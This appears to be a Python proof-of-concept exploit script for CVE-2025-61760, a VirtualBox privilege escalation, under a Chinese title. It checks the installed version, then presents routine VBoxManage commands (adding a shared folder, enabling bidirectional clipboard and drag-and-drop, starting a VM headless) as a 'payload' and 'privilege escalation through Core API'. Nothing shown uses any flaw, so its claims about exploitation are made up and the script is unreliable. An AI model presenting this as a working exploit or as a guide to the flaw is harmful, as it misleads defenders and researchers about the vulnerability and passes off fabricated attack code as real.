CVE-2025-61760 Oracle VM VirtualBox Core组件高危漏洞

# CVE-2025-61760 - Oracle VM VirtualBox Core Component Exploitation # Note: This is a conceptual PoC based on the vulnerability description. # Actual exploitation requires specific conditions and user interaction. import subprocess import os import sys class VirtualBoxExploit: """ Conceptual exploit for CVE-2025-61760 Oracle VM VirtualBox Core Component Privilege Escalation Affected versions: 7.1.12, 7.2.2 """ def __init__(self): self.target_version = None self.vboxmanage_path = "/usr/bin/VBoxManage" def check_vulnerability(self): """Check if the installed VirtualBox version is vulnerable""" try: result = subprocess.run( [self.vboxmanage_path, "--version"], capture_output=True, text=True ) version = result.stdout.strip() print(f"[*] Detected VirtualBox version: {version}") vulnerable_versions = ["7.1.12", "7.2.2"] for v in vulnerable_versions: if v in version: print(f"[+] Version {version} is VULNERABLE to CVE-2025-61760") self.target_version = version return True print(f"[-] Version {version} is not vulnerable") return False except FileNotFoundError: print("[-] VBoxManage not found") return False def prepare_payload(self): """Prepare malicious VM configuration or shared resource""" # Create a malicious shared folder configuration # that exploits the Core component vulnerability payload = { "shared_folder_name": "exploit_share", "host_path": "/tmp/exploit_payload", "writable": True, "automount": True } print(f"[*] Prepared payload: {payload}") return payload def trigger_exploitation(self, payload): """ Trigger the vulnerability through Core component manipulation. Requires user interaction (UI:R) as per CVSS vector. """ commands = [ # Step 1: Create malicious shared folder entry f'{self.vboxmanage_path} sharedfolder add "target_vm" ' f'--name "{payload["shared_folder_name"]}" ' f'--hostpath "{payload["host_path"]}" ' f'--automount', # Step 2: Modify VM configuration to trigger Core vulnerability f'{self.vboxmanage_path} modifyvm "target_vm" ' f'--clipboard-mode bidirectional ' f'--draganddrop bidirectional', # Step 3: Attempt privilege escalation through Core API f'{self.vboxmanage_path} startvm "target_vm" --type headless', ] for cmd in commands: print(f"[*] Executing: {cmd}") # Note: Actual execution requires valid VM name and permissions # result = subprocess.run(cmd.split(), capture_output=True) print("[!] Exploitation requires user interaction to complete") print("[!] This is a conceptual demonstration only") def run(self): """Main exploitation flow""" print("=" * 60) print("CVE-2025-61760 - Oracle VM VirtualBox Core Exploit") print("=" * 60) if self.check_vulnerability(): payload = self.prepare_payload() self.trigger_exploitation(payload) else: print("[-] Target is not vulnerable, exiting") if __name__ == "__main__": exploit = VirtualBoxExploit() exploit.run()